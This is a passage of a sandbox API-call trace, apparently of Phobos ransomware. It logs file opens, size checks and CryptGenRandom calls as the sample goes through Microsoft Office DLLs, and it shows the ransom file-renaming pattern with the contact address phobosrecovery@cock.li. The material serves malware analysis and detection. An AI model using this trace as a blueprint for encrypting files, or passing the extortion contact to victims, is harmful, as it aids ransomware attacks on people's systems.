Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.121] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.122] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0151.122] CloseHandle (hObject=0x564) returned 1 [0151.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0151.122] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.122] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.123] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.123] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0151.123] CloseHandle (hObject=0x564) returned 1 [0151.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0151.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.124] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.125] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18624) returned 1 [0151.125] CloseHandle (hObject=0x564) returned 1 [0151.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0151.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.125] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.125] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11616) returned 1 [0151.125] CloseHandle (hObject=0x564) returned 1 [0151.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0151.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.126] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.126] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19648) returned 1 [0151.126] CloseHandle (hObject=0x564) returned 1 [0151.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0151.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.127] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.127] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22720) returned 1 [0151.128] CloseHandle (hObject=0x564) returned 1 [0151.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0151.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.128] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.129] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0151.129] CloseHandle (hObject=0x564) returned 1 [0151.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0151.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.129] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.131] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20672) returned 1 [0151.131] CloseHandle (hObject=0x564) returned 1 [0151.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0151.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.131] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.132] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19648) returned 1 [0151.132] CloseHandle (hObject=0x564) returned 1 [0151.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0151.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.132] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.133] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0151.133] CloseHandle (hObject=0x564) returned 1 [0151.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0151.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.135] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.136] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=27840) returned 1 [0151.136] CloseHandle (hObject=0x564) returned 1 [0151.136] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0151.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.137] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.137] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26816) returned 1 [0151.137] CloseHandle (hObject=0x564) returned 1 [0151.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0151.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.138] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.138] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=70848) returned 1 [0151.138] CloseHandle (hObject=0x564) returned 1 [0151.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0151.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.139] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.139] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19648) returned 1 [0151.139] CloseHandle (hObject=0x564) returned 1 [0151.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0151.140] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.140] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.141] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23232) returned 1 [0151.141] CloseHandle (hObject=0x564) returned 1 [0151.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0151.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0151.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0151.141] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0151.141] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0151.141] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24768) returned 1 [0151.141] CloseHandle (hObject=0x564) returned 1 [0151.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0151.142] GetFileAttributesW 